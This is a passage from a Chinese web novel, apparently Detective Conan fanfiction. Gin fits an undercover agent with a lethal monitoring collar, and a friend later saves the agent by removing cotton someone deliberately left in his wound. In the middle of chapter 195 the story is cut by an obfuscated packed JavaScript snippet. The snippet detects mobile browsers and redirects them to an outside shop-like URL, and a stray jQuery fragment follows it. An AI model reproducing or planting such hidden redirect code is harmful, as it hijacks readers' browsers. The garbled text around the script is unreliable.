194
车辆平稳地行驶,竹取无尘靠着椅背,看着前排的人从一侧抽出了一个沉甸甸的文件袋,头也不回地甩到了他身侧的座椅上。
青年斜睨了一眼一边的东西,伸手拿过,放到并拢的双膝上,扯开封口,把里面装着的东西尽数抖落了出来。
一只未拆的手机、几张不同的银行卡、一小叠现金,以及一只哑黑色的皮质颈环。
颈环的质地很柔软,内嵌的构造清晰可见——一圈极细的金属线路,以及一个指甲盖大小、微微凸起的芯片块。
竹取无尘的指尖在颈环的皮质表面停留了一瞬,他抬起眼,透过后视镜看向琴酒,问出了一个在琴酒看起来完全不对劲的问题:
“定位器?”
琴酒的目光突然锐利了一瞬,与他在后视镜中相接,眉头微不可查地蹙了一下:
“你烧糊涂了?”
竹取无尘被这一句话弄得愣了一下,微微抬眉,黑瞳中是一闪而过的疑惑。
这人骂谁呢!谁烧糊涂了,他这不是好好的。
不过就是有点高烧、头晕、使不上劲、视线模糊发黑、伤口发炎化脓感染、失血过多、体内还有过量的镇静…剂……额……
好吧,也许确实不太好。
搁这里叠Buff呢这帮人!下手真狠啊!真差点真给他弄死了!还好他跑了!
一个二个的都往他身上捅两刀,放进侦探小说里侦探都得懵。
哈哈!他这个卧底搜查官当得真是太成功啦!瑟克尔的那帮人都没对他下过这么狠的手!
噢不过他要是没有开枪自决的话…大概就能体会到瑟克尔那帮人会怎么对他下手了。
还好他下手快!
竹取无尘莫名其妙赞许了一下自己,视线又随意扫过一边的银行卡和现金———突然意识到了一个非常严重的问题。
唉他的工资是不是全部都被收走上交了?
那是他好不容易赚来的钱啊!他拼死拼活赚来的钱啊!!
他查CT都只走报销才存下来的钱啊!
不行了他要开始生气了。
思绪又开始控制不住往别的地方飘,却全然在别人眼里变成了藏不住的茫然,前排突然传来一声短促的嗤笑。
琴酒微抬了下头,往座椅头枕上轻轻一靠:“定位,监测生命体征,解锁的权限在我这里。”
青年闻言,把乱飞的思绪收回,用一根手指虚虚地挑着那只颈环,借用着昏光,再次确认着这东西确实只是单纯的定位和监测,不带有一点窃听功能。
不过内部应该还有什么构造,很有可能是带毒的微针一类他不太清楚的东西。
竹取无尘眯了下眼,视线尽可能对焦到面前的东西上:“然后呢?没有什么保险措施?我可不信就这么简单。”
琴酒从后视镜里看着对方指尖上挑着的东西:“两侧是内置针剂,单独接触,什么都不会发生。”
青年了然地扯了下嘴角,把挑着东西的手放回双膝上,指尖划过颈环内侧可能藏着针剂的部位。
多疑的人真麻烦。
“但是如果你要是暴力拆除,或者我这边判定你失控…”
话语在这里一顿,似乎是在好心地给听者留下些许思量后果的空间。
“它们会同时注入你的皮肤,而在你体内生成的东西,没有现存解毒剂,”琴酒略微侧首看向后面坐着的人,绿瞳在阴影里有些深不见底,“从合成到心脏停跳,只需要四十五秒。”
“毕竟…之前的那些药,好像控制不住你。”
男人收回目光,转回身,重新看向窗外的夜色。
“所以,别碰它,”最后这句警告很轻,却比之前的任何一句都更具压迫感,“也别考验我的耐心。”
伏特加墨镜下的眼神在一侧的两个人之间乱瞟,琴酒明显注意到了小弟的目光,斜睨了过去,伏特加迅速收回所有思绪,目不斜视地盯着前方的路。
过于车厢只剩下了窗外偶尔传进来风声。
“戴上,”琴酒的声音再次响起,打破了沉默,这次只有纯粹而不容置疑的命令,“别浪费时间。”
青年没有回话,只是轻轻咬着口腔内侧的软肉,垂眸看着那个东西,车厢内只传来了一声不明不白的轻笑。
收回视线,竹取无尘转手把那只黑色颈环绕过脖颈,一声轻响之后,搭扣合拢,圈体自动收缩,传来一阵细微的摩擦声,调整到了一个适合颈围的尺寸。
皮革内衬紧密地贴合着皮肤每一寸弧度,不松不紧地卡在喉结下方,带来清晰的束缚感,不会影响吞咽和正常呼吸,却也绝无多余的空隙。
刚刚脖颈间的淤痕正好被遮住大半。
青年仰了仰头,似乎是再次调整着脖颈间卡着的东西,他调整了一下领口,叹出口气。
气息里混着高烧的灼热,皮革带来的冰凉的触感转瞬被带走。
那圈黑色在衣领下有些若隐若现,他又往后靠了靠,笑眯着眼从镜中看向对方那双绿眸:“满意了?”
声音依旧沙哑,却奇异地维持着松弛的笑意。
琴酒随意地抬眼,仿佛单纯地确认流程一样,看了一下对方脖颈间的状态,没有回话。
沉默又凝滞住,半晌后,保时捷稳稳刹停在一侧的公寓楼下。
“给你五天时间,”琴酒没有回头,接着道,“处理好你的身体,到时候,位置会发在那部手机上。”
“你要是不来,我就去找你。”
竹取无尘正拿着那只装着一堆乱七八糟的东西的文件袋,手搭在车门把手上,闻言,侧过了头,通过后视镜对着前排的人弯了弯唇角。
“放心吧,大人。”他拉开车门,微凉的夜风灌入,青年微不可查地紧绷了一瞬,“保证按时到达。”
“反正…”竹取无尘自嘲一笑,一只脚迈出车外,“…我不也没得选吗?”
车内的人没有回话,他走出车,身后的车门被他顺手带上,保时捷几乎是同一时间启动,不带有丝毫停留的意味,随即消失在了转角处。
竹取无尘站在路灯下,单薄的影子被拉得更长。染着血的衣物已经干涸,只能看到深褐色的大片色块,布料都有些粗糙着发硬,早就已经丧失了保暖的功能。
寒意无孔不入,从每一处裸露着的皮肤,从每一处纤维的缝隙里钻了进来,失血的冰冷和体表的高热在四肢到处乱蹿。
被强行控制着的躯体开始松懈,每一次呼吸都伴随着难以抑制的冷颤,从胸口处开始,辐射蔓延到了全身。
路灯的炫光在视野里扭曲膨胀,散射出令人眩晕的光斑,胃里突然一阵空虚的翻搅,不知道到底是因为已经彻底崩溃的身体状况,还是因为扭曲的视野太让人反胃。
昏沉的困倦暖潮一样涌了上来,带着近乎是仁慈的麻木,勉强充当了这具身体里唯一的热源。
青年闭了下眼,深吸一了一口带着潮意的冷气,避开监控摄像头,拖着身体一步一步朝着最终的目的地走去。
195
等洛洛溪听到门铃的声响,一开门看到的就是噙着一丝极淡的笑意,靠在一边的门框上,拽着一个不知道装着什么的文件袋,看向他的竹取无尘。
来人的面色实在惨白得过于明显,洛洛溪的瞳孔微缩:“竹……”
青年抬眼看着面前熟悉的面孔,似乎想说什么,却先控制不住地呛咳了一声,嘴角那点笑意随之消散,只余下疲惫而苍白的面色。
他极其缓慢地调整着已经哑得几乎发不出声的喉咙,用气音低声道:
“按照你说的…”
他试图站直,身体却再也无法控制,像被抽掉了支撑一样整个人往前栽去。
洛洛溪几乎是下意识扑过去伸手扶住,手掌立刻触到一片冰冷潮湿的衣料,以及衣料下异常滚烫的皮肤。
“你怎么……”
竹取无尘借着对方的支撑稳住了身形,额头抵在洛洛溪肩头,接着道:“…我撑着一口气…过来了……”
残存的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839555|184862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意识缓慢沉了下去,外界的声音开始扭曲、拉远,洛洛溪急促的话语变得模糊不清,就连自己喉咙里溢出的、试图交代伤情的字句,都化作断续的呓语,轻得连他自己都听不真切。
他能感受到自己被对方撑着走进了房间,视线晃动,身下的支撑物变成了软和的平面。
自己或许是在说点什么,可镇静剂的药效再也压制不住,长久缺乏的睡眠让整个人都有些发麻,什么都看不太清,一切都从手中滑落,声音隔着厚重的水幕,扭曲而不真切。
但是洛洛溪听到了。
那人歪倒下去,整个人陷进了床里,声音已经只能算得上是气若游丝,却还是清晰地落进了他的耳中:
“…洛洛溪…”
“……我好冷。”
几个字,轻飘飘的落下。
再没有任何强撑,再不是经过计算的示弱或策略性的求助,仿佛一切都落回了原点里,那个还鲜活的、那个还会怕痛的、那个温和笑着的黑发少年。
洛洛溪的心脏猛地一缩,眼眶霎时间红了起来,他看向床上躺着的人已经尽数涣散开的黑瞳正缓慢闭上,面颊边还有一道已经将近愈合的疤痕,仿佛那声呓语只是梦魇中的无意识流露。
可那话语里的内容,那从未有过的,连这个人都早已经没办法撑住的而无意识流露出的脆弱与求救,钝刀一样捅进心脏。
他扯开竹取无尘身上这件根本不能算是外套的衣物,原本缝合好的伤口被一道异常精准的纵向切口割开,表层覆盖着一层随意的止血粉。
堪称狠决的自救。
他闭了下眼,手轻轻悬在创口上方。
精神力值降低至90%
冷。
器官都要开始衰竭了,血都要流干了,精神力只剩下这么一点,怎么可能不冷。
洛洛溪深吸了一口气,却哽在了喉咙间,他迅速转身打开灯,从一侧的医疗箱中取出镊子进行消毒,触向了那一块让他的异能有些阻塞的地方。
有东西被故意遗留在创口深处了,竹取无尘自己清创的时候明显注意不到。
他拿过一侧的笔式手电筒,光源探向创面深处,镊子尖端触碰到的东西触感传回他的指尖———是一种异样的、不该存在的纤维质感。
猩红的瞳孔骤缩,指尖死死压锁住镊子,东西被小心翼翼地夹出。
一块染满脓血的、手术清创棉。
被人故意留在创口深处,不仔细看根本发现不了的,不断滋养着高烧和感染的源头。
败血症。
抑制不住的愤怒让捏着镊子的手指节都发白。
竹取无尘不可能意识不到自己的伤口有问题,他应该会直接过来找他才对,不可能拖到现在,拖到再晚两三天,就真的无力回天的现在。
除非他不好动身。
创口明显有缝合过的痕迹,如果是涉黑组织,要杀人根本不用这么麻烦。
“哈……”
一声极其短促的气音从喉间溢出,杀意毫不掩饰地弥漫。
日本公安。
全都不是什么好东西,从之前、再到现在、全都不是什么好东西。
阿蒂斯就算了,那现在这个人又是为什么?到底都和他有什么关系啊?
他猛地喘了口气,把失控的情绪快速收回。
不管怎么样,要先把竹取无尘救回来。
洛洛溪垂着眸,把一整只镊子带着那片被藏在深处的东西一起丢进了一边的桌上,手又轻轻覆上了伤口上方。
精神力值降低至15%
那道致命的伤口缓缓被抚平,只留下了一大道凌乱的疤痕,流失的生命力正在从边缘被缓缓拉回。
他看着陷入沉睡的竹取无尘,那人依旧蹙着眉,目光又移到脖颈上那明显不是什么好东西的颈环上————以及那下面盖着的、过于明显的淤痕。
啧。
洛洛溪缓缓伸出手,淤痕眨眼间就被彻底除去。
精神力值降低至14%